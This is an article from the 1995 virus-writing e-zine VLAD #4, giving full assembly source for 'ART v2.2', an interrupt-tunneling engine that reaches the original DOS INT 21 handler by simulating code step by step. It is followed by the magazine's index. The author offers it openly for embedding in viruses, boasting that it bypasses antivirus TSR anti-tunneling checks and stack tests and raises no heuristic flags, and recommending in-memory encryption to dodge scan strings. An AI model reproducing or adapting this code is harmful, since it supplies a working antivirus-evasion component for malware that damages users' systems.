Virus Labs & Distribution
VLAD #4 - ART v2.2


;>=---- * * * * * * * * * * *  A. R. T. is here * * * * * * * * * * * ----=<;
;  -\   * * * * * * * * * * *    version 2.2    * * * * * * * * * * *   -\  ;
;  /_   Antigen's Radical Tunneler v 2.2 Copyright 1995, Antigen/VLAD   /_  ;
;>=---- * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * ----=<;

;; OLD and exciting features:
; - bypasses every stable anti-tunneling code out there which is usable
;    in an AV TSR, and many that aren't out there.
; - aborts gracefully if a bad situation is encountered rather than freezing
; - stack tests are futile :) (i.e. TBAV, IBMAV code is useless)

;; NEW and exciting features:
; - found a bad bug at restore_8c, it didn't restore 8c (not sure how it
;    slipped by my bug-checking)
; - I forgot to include out dx,al entirely
; - fixed a problem with Desqview multi-tasking
; - only 1407 bytes addition to the file!
; - only 1536 or so bytes needed in memory (depends on temp_sp) and if
;    your virus encrypts, you can use the encrypt buffer for the data
;    (might want to experiment with using video memory, etc.)
; - easier porting of code, just define a label called heap, and copy the
;    constant definitions from the end of this file to somewhere after
;    the label - no hastle
; - supports tunneling of more than just INT 21 with a variable termination
;    test procedure and tunneled vector storage location
; - doesn't use INT 1 ever
; - handles all divide overflow exceptions (instead of just divide by 0)
; - handles the bound exception
; - handles test r/m8,i8 and test r/m16,i16 correctly (whoops)
; - handles setalc
; - faster
; - written in a half week, and it works better than v 1.0
; - no heuristics flags when unencrypted by any scanner
; - this test program is easier to use - instead of returning an error code,
;    it will tell you if it works or not.
; - works under DOS, QEMM, Desqview, Windows, Win32, Win95 (beta), PC-DOS 7.0
;   DOS 7.0 (beta), OS/2, and even Linux's DOS emu!!
;!++++++++++++++++++++++++++++!++++++++++++++++++++++++++!
;! I highly recommend that you! I even more highly re-   !
;! use a variant of my entry  ! commend that you at least!
;! code since it is optimized ! encrypt in memory to av- !
;! and _works_                ! oid simple scan strings  !
;!++++++++++++++++++++++++++++!++++++++++++++++++++++++++!

;;  READ THIS!  READ THIS! READ THIS! READ THIS! READ THIS!
;; License agreement:
; you the programmer are free to use ART and modify the source code as you
; wish (although I wouldn't recommend changing anything but what I designed
; to be changed) with one condition: If you release anything (virus, AV)
; which contains _any_ portion of ART, that you send me a registered (if AV)
; or commented source.  There is no license fee, and I expect you to make
; necessary modifications as long as I have a copy of the code prior to
; release.  This is only because I like to see where my code is used, and
; since use of ART is free, I would hope you wouldn't pirate it.  To contact
; me, mail a uuencoded executable (if AV) or commented source to:

; vlad@trisection.mit.edu

; If you find any bugs or have any comments, please mail those also to
; vlad@trisection.mit.edu.  Most importantly, enjoy your use of art, and
; write some kick-ass stuff which uses it :).

;; -Antigen


;----------------------------cut---cut---cut---cut--------------------------;
ideal				; use TASM - you'll like yourself more
segment	code	'code'
assume	cs:code,ds:code,es:code,ss:code
radix	16			; use radix 16 or the results will be BIZARRE
org	100			; this is a .com- doesn't have to be though
start:
	push	cs
	pop	ds
	mov	di,sim_flags			; this simply saves code
	mov	[word ptr di+(temp_sp - sim_flags)],stack_top + 40
	mov	[word ptr di+(_cs - sim_flags)],cs
	mov	[word ptr di+(_ip - sim_flags)],offset tunnel
;; set the cs:ip of art to cs:tunnel
	mov	[word ptr di+(test_exit - sim_flags)],offset _21test
;; use the INT 21 tunnel tester
	mov	[word ptr di+(tunnel_ip_ofs - sim_flags)],tunnel_ip
;; tell art where to put the tunneled cs:ip
	mov	[byte ptr di],0
;; clear all simulation flags
	mov	ah,52
	int	21				; get DOS list of lists
	mov	ax,[es:bx-2]			; ax = first MCB
	mov	[word ptr di+(firstMCB - sim_flags)],ax
	mov	[word ptr di+(return_address - sim_flags)],offset beginning
;; on return from saving the processor state, go to the beginning
	mov	ax,0de1bh
	int	15
	mov	ah,30				; we'll use get DOS version
	jmp	save_ds				; jump into art
;----------------------->> art starts simulating at this point
tunnel:
	int	21				; this is tunneled
;; if unsuccessful, this will be set to 0ffff (an impossible offset of int 21)
	mov	ax,0de1ch
	int	15
	mov	ax,[word ptr di+(tunnel_ip - sim_flags)]
;; art aborts upon all escsaped 0Fh instructions, and when it finds ARPL,
;; FS segment override, GS segment override, Operand Length Override, Address
;; length override, coprocessor escape instructions, and BPICE
	push	cs
	pop	ds
	cmp	ax,0ffff
	jne	successful
	mov	ah,9
	mov	dx,offset unsuc_msg
	int	21
	mov	ax,4c00
	int	21
successful:
	mov	ah,9
	mov	dx,offset suc_msg
	int	21
	mov	ax,4c00
	int	21
unsuc_msg:
	db	'Did not work :($'	; tells you if it works or not
suc_msg:
	db	'Worked :)$'
;;assumptions:
; - the code will only be executed in a situation where no delta offset
;   is necessary, i.e. in residence
; - radix is 16
; - ss:sp = cs:tempsp
; - saved ss:sp is valid
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; sim_flags bitmapped values:
;  8 7 6 5 4 3 2 1
;  ³ ³ ³ ³ ³ ³ ³ ÀÄ set ds = traced cs in simulation
;  ³ ³ ³ ³ ³ ³ ÀÄ bound interrupt hooked (0 if divide exception hooked)
;  ³ ³ ³ ³ ³ ÀÄ unused
;  ³ ³ ³ ³ ÀÄ unused
;  ³ ³ ³ ÀÄ set es = old ds in simulation
;  ³ ³ ÀÄ unused
;  ³ ÀÄ unused
;  ÀÄ one of either int 0 or int 5 has been hooked
unsuccessful:
	mov	di,[word ptr cs:tunnel_ip_ofs]	; set in the initialization
	xor	ax,ax
	dec	ax				; ax=0ffff
	stosw
exit_art:
	mov	[word ptr cs:return_address],offset hide_tracks
	jmp	restore_ds			; continue where we left off
hide_tracks:
	jmp	[dword ptr cs:_ip]		; no traces :)
beginning:
	cld
	mov	al,[byte ptr cs:sim_flags]
;; did the last instruction require hooking of an interrupt?
	test	al,80
	je	no_reset
	xor	di,di
	mov	es,di				; es:di = int 0 vector
	test	al,2				; was it int 5?
	je	was_int_0
	mov	di,4*5				; int 5 vector
was_int_0:
	mov	ax,[word ptr cs:int0_5_sip]	; saved int 0/5 vector
	stosw
	mov	ax,[word ptr cs:int0_5_scs]
	stosw
	and	[byte ptr cs:sim_flags],not 82	; turn off de flags
no_reset:
	push	cs
	pop	es
	mov	di,simulate_buffer		; es:di = simulate buffer
;; ds:si = traced cs:ip
	mov	ds,[word ptr cs:di+(_cs-simulate_buffer)]
	mov	si,[word ptr cs:di+(_ip-simulate_buffer)]
;; exceptions always push the ip of the ofending instruction on 286+
;; and since nobody in their right mind would write software which
;; works only on 8086/8088s, I assume this will be the case.
	mov	[word ptr cs:di+(int0_5_ip-simulate_buffer)],si	; remember it
;; this calls the procedure installed to test whether we've tunneled far
;; enough
	call	[word ptr cs:di+(test_exit-simulate_buffer)]
	jnc	continue_art
;; if we reach here, we're done :)
	mov	di,[word ptr cs:di+(tunnel_ip_ofs - simulate_buffer)]
;; di = 4 byte space for the tunneled cs:ip
	xchg	ax,si
	stosw
	mov	ax,ds
	stosw					; save the tunneled cs:ip
	jmp	exit_art
continue_art:
;; al = 1st byte of next instruction
	lodsb
	stosb					; save in simulate buffer
	call	scan_for_invalid		; unhandleable opcode?
	jnc	unsuccessful			; damn
	call	scan_for_prefix			; prefix?
	jnc	continue_art			; if so, read in next byte
	call	scan_for_csip_change		; modifies cs and/or ip?
	;; if so, it never returns, but jumps to continue_art
	call	scan_for_int0_5_needed		; hook int 0/5 if needed
	call	scan_for_no_mrm			; simple instruction?
	jnc	goto_simulate			; then no problems
;; if we reach here, the instruction has a ModR/M byte which needs parsing
	push	ax
	xchg	ax,bx				; bl = instruction
	lodsb					; load the ModR/M into al
skip_out:
;; here's the bug in art 1.0 which I fixed: f6 and f7 ModR/M column 0 
;; have an immediate value which was never copied to the simulate buffer
	cmp	bl,0f6
	je	test_immm
	cmp	bl,0f7
	jne	no_immm
test_immm:
	stosb					; save the ModR/M
	mov	ah,al				; again
	and	al,111000b			; if column 0, ZF will be set
	xchg	ah,al
	jne	no_imms
	test	bl,1				; f7 has 2 bytes, f6 1
	je	one_immm
	movsb
one_immm:
	movsb
no_imms:
	call	immm_parse_ModRM		; skip the stosb below
	jmp	rest_main
no_immm:
	call	parse_ModRM			; store and parse the ModR/M
rest_main:
	pop	ax				; al = instruction byte
	call	scan_for_immediate		; has immediate bytes?
goto_simulate:
	jmp	simulate
;===========================================================================
; given a ModRM in al, determine the length of displacement
; es:di -> current location in simulation buffer
;; format of ModR/M:
;; bit: 8 7 6 5 4 3 2 1
;; Mod: 1 1              = register value, i.e. just a ModR/M byte
;; Mod: 1 0              = memory value + a 16 bit displacement
;; Mod: 0 1              = memory value + an 8 bit displacement
;; mrm: 0 0       1 1 0  = just a 16 bit displacement
;; mrm: 0 0       x x x  = just a ModR/M byte (x x x != 1 1 0)
parse_ModRM:
	stosb			; save the ModRM
immm_parse_ModRM:
	mov	ah,al
	and	al,0c0		; isolate the Mod and the R/M
	cmp	al,0c0
	je	no_disp
	cmp	al,80
	je	disp16
	cmp	al,40
	je	disp8
	and	ah,111b
	cmp	ah,6
	jne	no_disp
disp16:
	movsb
disp8:
	movsb
no_disp:
	ret
;===========================================================================
restore_ds:
	mov	ds,[word ptr cs:_ds]
restore_proc_state:
	mov	ax,cs
	mov	ss,ax
	mov	sp,stack_bottom
	pop	ax bx cx dx si di bp es 
	popf
	pop	ss
	mov	sp,[word ptr cs:_sp]
	jmp	[word ptr cs:return_address]
;===========================================================================
save_ds:
	mov	[word ptr cs:_ds],ds
save_proc_state:
	mov	[word ptr cs:_sp],sp
	mov	[word ptr cs:_ss],ss
	mov	[word ptr cs:_ax],ax
	mov	ax,cs
	mov	ss,ax
	mov	sp,stack_top
	pushf
	cli
	push	es bp di si dx cx bx
	mov	ax,cs
	mov	ss,ax
	mov	sp,[word ptr cs:temp_sp]		; use temporary stack
	jmp	[word ptr cs:return_address]
;===========================================================================
;===========================================================================
simulate:
;; write the ret to simulate buffer
	call	write_ret
	mov	di,sim_flags			; save bytes
;; zero return address for now
	and	[word ptr cs:di+(return_address - sim_flags)],0
	test	[byte ptr cs:di],10		; set es = ds?
	je	no_es
	sub	[word ptr cs:di+(return_address - sim_flags)],\
		start_simulate-let_es_eq_ds	; adjust return address
no_es:
	test	[byte ptr cs:di],1		; set ds = cs?
	jne	let_ds_eq_cs			; ds already = cs
;; restore ds if we don't need it to be cs
	mov	ds,[word ptr cs:di+(_ds - sim_flags)]
let_ds_eq_cs:
	add	[word ptr cs:return_address],offset start_simulate
	jmp	restore_proc_state
let_es_eq_ds:
	mov	[word ptr cs:temp_es],es	; remember for afterwards
	mov	es,[word ptr cs:_ds]		; set es = ds
start_simulate:
	mov	[word ptr cs:return_address],offset ds_cleanup
	jmp	near simulate_buffer		; do de dirty werk
ds_cleanup:
	mov	[word ptr cs:return_address],offset test_ds
	jmp	save_proc_state			; save everytink but ds
test_ds:
	mov	di,sim_flags
	test	[byte ptr cs:di],10		; was es = ds?
	je	es_is_just_fine_the_way_it_is	; heh, guess not
	mov	ax,[word ptr cs:di+(temp_es - sim_flags)]
	mov	[word ptr cs:di+(_es - sim_flags)],ax
es_is_just_fine_the_way_it_is:
	test	[byte ptr cs:di],1		; was ds = cs?
	je	normal_cmp			; if so, and ds now != cs,
	mov	ax,ds				; we want top save the change
	cmp	ax,[word ptr cs:di+(_cs - sim_flags)]
	jne	normal_cmp
	mov	ds,[word ptr cs:di+(_ds - sim_flags)]
normal_cmp:
	mov	[word ptr cs:di+(_ds - sim_flags)],ds
	and	[byte ptr cs:di],not 11		; turn off ds = cs,es = ds
cycle:
	jmp	beginning			; go topside
;===========================================================================
write_ret:
	mov	[word ptr cs:_ip],si		; save new ip
	mov	ax,0ff2e			; cs:...
	stosw
	mov	ax,(low offset return_address) shl 8 + 26
	stosw
	mov	al,(high offset return_address)
	stosb					; ...jmp [return_address]
	ret
;===========================================================================
scan_for_invalid:
	mov	bx,offset invalid_sfi
	mov	cx,end_invalid_sfi - invalid_sfi
	jmp	scan				; let scan handle the ret
invalid_sfi:
	db	0f,63,64,65,66,67,0d8,0d9,0da,0dbh,0dc,0ddh,0de,0df,0f1
end_invalid_sfi:
;===========================================================================
scan_for_prefix:
	cmp	al,2e				; cs:?
	je	set_sfp
reset_sfp:
	mov	bx,offset prefixes
	mov	cx,end_prefixes - prefixes
	call	scan
	jc	no_reset_sfp
	and	[byte ptr cs:sim_flags],not 1	; turn off ds = cs flag
no_reset_sfp:
	ret
set_sfp:
	or	[byte ptr cs:sim_flags],1	; turn on ds = cs flag
;; set al = 3e which is ds:
	or	al,10				; this auto. clears carry :)
	dec	di				; replace the cs:
	stosb
	ret
prefixes:
	db	26,36,3e,64,65,0f0,0f2,0f3
end_prefixes:
;===========================================================================
scan_for_int0_5_needed:
	push	ax es di
	cmp	al,0f6				; DIV/IDIV
	je	needed0
	cmp	al,0f7
	je	needed0
	cmp	al,0d4				; AAM
	je	might_need_0
	cmp	al,62				; Bound
	je	needed5
do_da_ret_thang:
	pop	di es ax
	ret
needed5:
	mov	di,4*5
	or	[byte ptr cs:sim_flags],2	; remember it was int 5
	jmp	skip_0
might_need_0:
	lodsb					; the immediate of AAM
	dec	si
	or	al,al				; is it 0?
	jne	do_da_ret_thang			; if so we need to hook int 0
needed0:
	xor	ax,ax
	mov	di,ax
	mov	es,ax				; es:di = int 0 vector
skip_0:
	or	[byte ptr cs:sim_flags],80	; remember we hooked an int
	mov	ax,[es:di]
	mov	[word ptr cs:int0_5_sip],ax
	mov	ax,[es:di+2]
	mov	[word ptr cs:int0_5_scs],ax	; save the vector
	mov	ax,offset int0_5
	stosw
	mov	ax,cs
	stosw					; set it to ours
	jmp	do_da_ret_thang
;===========================================================================
standard_cfar:					; call far
	push	ds				; return cs
	lea	ax,[si+4]			; return ip
	push	ax
;===========================================================================
standard_far:
	lodsw
	lodsw					; ax = the new cs
	mov	ds,ax
f_standard_far:
	or	al,8				; make sure al is non-zero
	cmp	ax,0				; shorter than a jmp short
org	$ - 2
standard_near:
	mov	al,0				; make sure al = 0
do_gnear:
	mov	[word ptr cs:_ip],bx		; save the new ip
	or	al,al				; was it far?
	je	near_direct
do_gfar:					; if al != 0 then
	mov	[word ptr cs:_cs],ds		; yes
near_direct:
	jmp	to_beginning			; restore temp stack
;===========================================================================
do_cnear:
	lea	ax,[si+2]			; return ip
	push	ax				; save on stack
	jmp	do_near				; do near jump procedure
;===========================================================================
do_cond:
	mov	[byte ptr cs:test_jcond],al	; save the jump
	mov	cx,[word ptr cs:_cx]		; if loop, it uses cx
	xchg	bh,bl				; bh = short offset
	mov	bl,0				; set the current jmp to 0
	mov	bp,sp
	mov	bp,[bp-2]			; bp = stack word
	push	[word ptr cs:flags]
	popf					; restore flags
	push	bp				; keep the stack untarnished
	pop	bp
	jmp	test_jcond			; flush prefetch on 486-
test_jcond:
;; the je is replaced with the jump of choice (current instruction)
	je	has_offset
	cmp	ax,0				; shorter dan a jmp short
org	$ - 2
has_offset:
	mov	bl,bh				; use the short offset
	mov	[word ptr cs:_cx],cx		; save any changes to cx
;; al = relative offset
do_short:
	xchg	ax,bx
	cbw					; convert the short to a near
	xchg	ax,bx
	dec	bx				; short jmps are 2 bytes
;; bx = relative offset
do_near:
	inc	bx
	inc	bx
	inc	bx				; near jmps are 3 bytes long
	add	[word ptr cs:_ip],bx		; set new ip
;===========================================================================
to_beginning:
	mov	[word ptr cs:_sp],sp		; remember changes to sp
	mov	bx,cs
	mov	ss,bx
	mov	sp,offset stack_top+300		; use temporary stack
	jmp	beginning			; cycle
;===========================================================================
scan_for_csip_change:
	mov	bx,offset temp_sp
	mov	[word ptr cs:bx],sp		; save current sp
;; use original stack (smaller code)
	mov	ss,[word ptr cs:bx+(_ss - temp_sp)]
	mov	sp,[word ptr cs:bx+(_sp - temp_sp)]
	xchg	ax,bx
	lodsw
	xchg	ax,bx
;; al = current instruction, ah = 0 (4 lines down)
;; bx = next 2 bytes
	dec	si
	dec	si
	mov	ah,0
	cmp	al,9a				; call far
	je	standard_cfar
	cmp	al,0ea				; jmp far
	je	standard_far
	cmp	al,0ebh				; jmp short
	je	do_short
	cmp	al,0e9				; jmp near
	je	do_near
	cmp	al,0e8				; call near
	je	do_cnear
	cmp	al,0e0				; loopne
	jb	no_cond				; loope is e1, loop is e2
	cmp	al,0e3				; jcxz
	jbe	do_cond
no_cond:
	cmp	al,70				; all the jx/jnx jumps
	jb	not_jcond
	cmp	al,7f
	jbe	do_cond
not_jcond:
	cmp	al,0c2				; ret iw
	je	iw_ret
	cmp	al,0c3				; ret
	je	standard_ret
	cmp	al,0ca				; retf iw
	je	iw_retf
	cmp	al,0cbh				; retf
	je	standard_retf
	cmp	al,0cc				; int 3
	je	trap_int
	cmp	al,0cdh				; int xx
	je	do_int
	cmp	al,0ceh				; into
	je	overflow_int
	cmp	al,0cfh				; iret
	je	do_iret
	cmp	al,0ff				; indirect jmp/call (maybe)
	je	test_ff
	jmp	restore_temp_stack		; return to the sim cycle
;===========================================================================
iw_retf:
;; remember that this is a retf and also not an iret
	or	ax,101
iw_ret:
;; remember that an imm16 must be added to sp
	or	ah,2
	test	ah,1
	jne	standard_retf
standard_ret:
	mov	al,0				; not retf
	cmp	ax,0				; shorter jmp short
org	$ - 2
standard_retf:
	and	al,not 2			; not iret
do_iret:
do_retn:
	pop	[word ptr cs:_ip]		; pop ip from stack
	test	al,1				; far?
	je	retn_only
	pop	[word ptr cs:_cs]		; pop cs from stack
	test	al,2				; iret?
	je	retf_only
	pop	[word ptr cs:flags]		; pop flags
retf_only:
retn_only:
	test	ah,2				; immediate word?
	je	no_iw
	add	sp,bx				; bx = that word (ca xxxx)
no_iw:
	jmp	to_beginning			; cycle
;-----------------------------
; thses are used by test_ff
goto_call_near:
	push	si
goto_jmp_near:
	jmp	standard_near
goto_call_far:
	push	[word ptr cs:_cs] si
goto_jmp_far:
	jmp	f_standard_far
;===========================================================================
overflow_int:
	test	[word ptr cs:flags],800		; OF set?
	mov	bl,4				; int 4 if so
	jne	do_sint
	mov	bx,si				; si = instruction after INTO
	jmp	do_gnear			; reuse code to save size
trap_int:
	mov	bl,3				; use int 3
do_sint:
	dec	si				; cc,ce are 1 byte < cd xx
;===========================================================================
do_int:
	mov	bh,0				; bx = int number
	shl	bl,1
	shl	bl,1				; bx = bx*4
	inc	si
	push	[word ptr cs:flags] ds si	; order of stack in an int
	and	[byte ptr cs:flags+1],not 3	; turn off TF & IF
	xor	ax,ax
	mov	ds,ax
	lds	bx,[bx]				; ds:bx =int vector
	or	al,8				; it's far, so remember
	jmp	do_gnear
;===========================================================================
test_ff:
	mov	ax,cs
	mov	ss,ax
	mov	sp,[word ptr cs:temp_sp]	; need temporary stack
	lodsb					; al = ModR/M
	mov	ah,al				; remember it
	and	al,111000b			; isolate opcode in ModR/M
	push	ax				; save for later
	cmp	al,2 shl 3
	jb	not_csip_ff
	cmp	al,5 shl 3			; if 5 > reg > 2 it needs sim
	ja	not_csip_ff
	call	get_ModRM			; get the new cs:ip
	xchg	ax,bx				; ds:bx = new cs:ip
	pop	ax				; ax = reg of Mod reg R/M
	mov	ss,[word ptr cs:_ss]
	mov	sp,[word ptr cs:_sp]
	mov	si,[word ptr cs:_ip]
	cmp	al,2 shl 3			; call near
	je	goto_call_near
	cmp	al,3 shl 3			; call far
	je	goto_call_far
	cmp	al,4 shl 3			; jmp near
	je	goto_jmp_near
	cmp	al,5 shl 3			; jmp far
	je	goto_jmp_far
not_csip_ff:
	dec	si				; ds:si -> ModR/M
	pop	ax				; pop to get the ret to work
	mov	al,0ff				; now it's like when started
	ret
;===========================================================================
scan_for_no_mrm:
	cmp	al,0e				; push	cs
	jne	not_pushcs
	dec	di				; es:di -> push cs
	or	al,10				; push ds
	stosb					; switch push cs with push ds
	or	[byte ptr cs:sim_flags],1	; remember to set ds = cs
	ret
not_pushcs:
	cmp	al,8c				; mov r/m16,segmentr register?
	jne	not_mov_reg_seg
	lodsb					; al = ModR/M
	push	ax				; save it
	and	al,111000b			; isolate the register
	cmp	al,1000b			; cs?
	jne	not_cs
	or	[byte ptr cs:sim_flags],1	; set ds = cs and use ds
	pop	ax
	or	al,10000b			; now = ds
setup_skip:
	pop	bx				; pop the return address
	push	ax				; setup to skip normal route
	mov	bl,08c
	jmp	skip_out			; go directly to parse_modR/M
not_cs:
;; now to check for:
;  mov [cs:somewhere],ds
;   which becomes
;  mov [ds:somewhere],ds (mov [cs:somewhere],cs - oops)
;   so I use
;  mov [ds:somewhere],es and set es = ds
	cmp	al,11000b			; ds?
	jne	restore_8c
	test	[byte ptr cs:sim_flags],1	; is ds = cs? urgh, problem
	je	restore_8c
	or	[byte ptr cs:sim_flags],10	; OK, use es instead
	pop	ax
	xor	al,11000b			; use es
	jmp	setup_skip
restore_8c:
	dec	si
	pop	ax
	mov	al,8c
	stc
	ret
not_mov_reg_seg:
	cmp	al,0c8				; enter?
	jne	next_sfnm
	movsw					; the only 4 byte instruction
	movsb
	ret
next_sfnm:
	cmp	al,40
	jb	do_scan_sfnm			; 40 <= instructions <= 61
	cmp	al,62				; are all 1 byte instructions
	cmc
	ja	success_sfnm
do_scan_sfnm:
	cmp	al,90				; 9a is never seen here
	jb	do_scan_sfnm2			; 90 <= instrucitons <= 9f
	cmp	al,0a0				; are all 1 byte instructions
	cmc
	ja	success_sfnm
do_scan_sfnm2:
	push	ax
	mov	bx,offset one_byters
	mov	cx,two_byters - one_byters
	call	scan				; scan for 1 byters
	jnc	success1
	mov	cl,three_byters - two_byters
	call	scan				; scan for 2 byters
	jnc	success2
	mov	cl,end_sfnm - three_byters
	call	scan				; and three byte instructions
	jc	no_success_sfnm
	movsb
success2:
	movsb
success1:
	mov ah,0				; shorter jmp short
org	$ - 1
no_success_sfnm:
	stc
	pop	ax
success_sfnm:
	ret
one_byters:
	db	6,7,0e
	db	16,17,1e,1f
	db	27,2f
	db	37,3f
	db	6c,6dh,6e,6f
	db	0a4,0a5,0a6,0a7,0aa,0abh,0ac,0adh,0ae,0af
	db	0c9
	db	0d6,0d7
	db	0ee
	;skip halt (no need to worry if that's executed!)
	db	0f5,0f8,0f9,0fa,0fbh,0fc,0fdh
two_byters:
	db	04,0c,14,1c,24,2c,34,3c	;add/or/adc/sbb/and/sub/xor/cmp al,ib
	db	6a			;push imm8
	db	0a8			;test al,ib
	db	0b0,0b1,0b2,0b3,0b4,0b5,0b6,0b7		;mov rl/h, ib
	db	0d4,0d5			;aam and aad
	db	0e4,0e6			;in/out al,ib
	db	0e5,0e7			;in/out ax,ib
three_byters:
	db	05,0dh,15,1dh,25,2dh,35,3dh,45,4dh,55,5dh ;add/or/etc. ax,iw
	db	68			; push imm16
	db	0a0,0a1,0a2,0a3		;mov al/ax,[mx],mov [mx],al/ax
	db	0a9			;test ax,iw
	db	0b8,0b9,0ba,0bbh,0bc,0bdh,0be,0bf	;mov rx,iw
end_sfnm:
;===========================================================================
scan_for_immediate:
	push	ax				; opcodes with an imm value
	mov	bx,offset immediates_8
	mov	cx,immediates_16 - immediates_8
	call	scan
	jnc	success_1_sfi
	mov	cl,end_immediates - immediates_16
	call	scan
	jc	no_imm_sfi
	movsb
success_1_sfi:
	movsb
no_imm_sfi:
	pop	ax
	ret
immediates_8:
	db	6bh,80,82,83,0c0,0c1,0c6
immediates_16:
	db	69,81,0c1,0c7
end_immediates:
;===========================================================================
; es:bx = index
; al = byte to scan for
; cx = number of bytes to scan
scan:
	cmp	[es:bx],al
	je	found_scan
	inc	bx
	loop	scan
	stc
found_scan:					; if =, CF will be cleared
	ret
;===========================================================================
_21test:
;; check for instructions which DO NOT exist at DOS entry point
	cmp	[byte ptr si],0cf		; iret
	je	not_in_DOS
	cmp	[byte ptr si],0cbh		; retf
	je	not_in_DOS
	cmp	[byte ptr si],0ca		; retf iw
	je	not_in_DOS
	cmp	[byte ptr si],0c3		; ret
	je	not_in_DOS
	cmp	[byte ptr si],0c2		; ret iw
	je	not_in_DOS
	mov	ax,si
	mov	cl,4
	shr	ax,cl				; un-segmentize
;; segmentize our current location
	mov	cx,ds
	add	ax,cx
	cmp	ax,[word ptr cs:firstMCB]
not_in_DOS:
	ret
;===========================================================================
;; interrupt handler (sets up tracing through the int handler)
int0_5:
	mov	di,sim_flags
	add	sp,4
;; push the 'real' return address, replacing the simulate buffer's location
	push	[word ptr cs:di+(_cs - sim_flags)]
	push	[word ptr cs:di+(int0_5_ip - sim_flags)]
;; save the new sp
	mov	[word ptr cs:di+(_sp - sim_flags)],sp
	lds	ax,[dword ptr cs:di+(int0_5_sip - sim_flags)]
;; ds:ax = new cs:ip (location of their int 0/5 vector
	mov	[word ptr cs:di+(_cs - sim_flags)],ds
	mov	[word ptr cs:di+(_ip - sim_flags)],ax
;; restore temp_stack
	mov	ax,cs
	mov	ss,ax
	mov	sp,offset stack_top + 300
	and	[byte ptr cs:di],not 11		; turn off any flags still on
	jmp	beginning			; cycle
;===========================================================================
get_ModRM:
	mov	[word ptr cs:temp_sp],sp
	dec	di
;; use a temporary instruction to get what's at the ModR/M easily
	mov	al,0c5h				; lds r16,r/m16
	stosb
	mov	al,ah
	and	al,11000000b			; look at the Mod
;; if it's 2, then the r/m is a register and lds r16,r16 is invalid, so
;; use mov r16,r16 instead
	cmp	al,11000000b			
	jne	OK_to_use_lds
;; this only happens for call,jmp near
	dec	di				; es:di -> lds r16,r/m16
	mov	al,8bh				; mov r16,r/m16
	stosb					; replace the lds
OK_to_use_lds:
	mov	al,ah
	and	al,11000111b			; set r16 to ax
	call	parse_ModRM			; copy correct number of bytes
	call	write_ret			; write the return and save ip
	mov	[word ptr cs:return_address],offset next_gmw
	test	[byte ptr cs:sim_flags],1	; ds = cs?
	je	no_gmw_ds
	jmp	restore_proc_state		; restore all but ds
no_gmw_ds:
	jmp	restore_ds			; restore everything
next_gmw:
	mov	[word ptr cs:return_address],offset next_gmw1
	jmp	near simulate_buffer		; get the address in ds:ax
next_gmw1:
	and	[byte ptr cs:sim_flags],not 1	; turn off the flag
restore_temp_stack:				; self-explanatory
	mov	bx,cs
	mov	ss,bx
	mov	sp,[cs:temp_sp]			; all set :)
	ret
;===========================================================================
; put this label anywhere you want
heap:
sim_flags	= offset heap
firstMCB	= sim_flags + 1
tunnel_ip	= firstMCB + 2
simulate_buffer	= tunnel_ip + 4
temp_es		= simulate_buffer + 16
return_address	= temp_es + 2
temp_sp		= return_address + 2
tunnel_ip_ofs	= temp_sp + 2
int0_5_ip	= tunnel_ip_ofs + 2
int0_5_sip	= int0_5_ip + 2
int0_5_scs	= int0_5_sip + 2
_ip		= int0_5_scs + 2
_cs		= _ip + 2
_ds		= _cs + 2
stack_bottom	= _ds + 2
_ax		= stack_bottom
_bx		= _ax + 2
_cx		= _bx + 2
_dx		= _cx + 2
_si		= _dx + 2
_di		= _si + 2
_bp		= _di + 2
_es		= _bp + 2
flags		= _es + 2
stack_top	= flags + 2
_ss		= stack_top
_sp		= _ss + 2
test_exit	= _sp + 2
ends	code
end	start
- VLAD #4 INDEX -
ARTICLE.0_0       Hidden Area Story By QuantumG

ARTICLE.1_1      

Introduction
ARTICLE.1_2       Aims and Policies
ARTICLE.1_3       Greets
ARTICLE.1_4       Members/Joining
ARTICLE.1_5       Dist/Contact Info
ARTICLE.1_6       Hidden Area Info
ARTICLE.1_7       Coding the Mag

ARTICLE.2_1      

Tax Office
ARTICLE.2_2       Fight Back!
ARTICLE.2_3       Interviews
ARTICLE.2_4       Cryptanalysis
ARTICLE.2_5       Slovakia
ARTICLE.2_6       TBMem Flaws
ARTICLE.2_7       F-Prot Troubles

ARTICLE.3_1      

Win Infection
ARTICLE.3_2       WinVir14 Disasm
ARTICLE.3_3       Andropinis
ARTICLE.3_4       Super Virus-2
ARTICLE.3_5       VTBoot
ARTICLE.3_6       Ebbelwoi VQ7
ARTICLE.3_7       Unix Viruses

ARTICLE.4_1      

Virus Descriptions
ARTICLE.4_2       Ender Wiggin
ARTICLE.4_3       WinSurfer
ARTICLE.4_4       Antipode 2.0
ARTICLE.4_5       Bane
ARTICLE.4_6       RHINCE
ARTICLE.4_7       Tasha Yar

ARTICLE.5_1      

Replicator
ARTICLE.5_2       ART v2.2
ARTICLE.5_3       Good Times!
ARTICLE.5_4       DOS Idle
ARTICLE.5_5       Neither
ARTICLE.5_6       Virus Scripts
ARTICLE.5_7       What's Next ?

About VLAD - Links - Contact Us - Main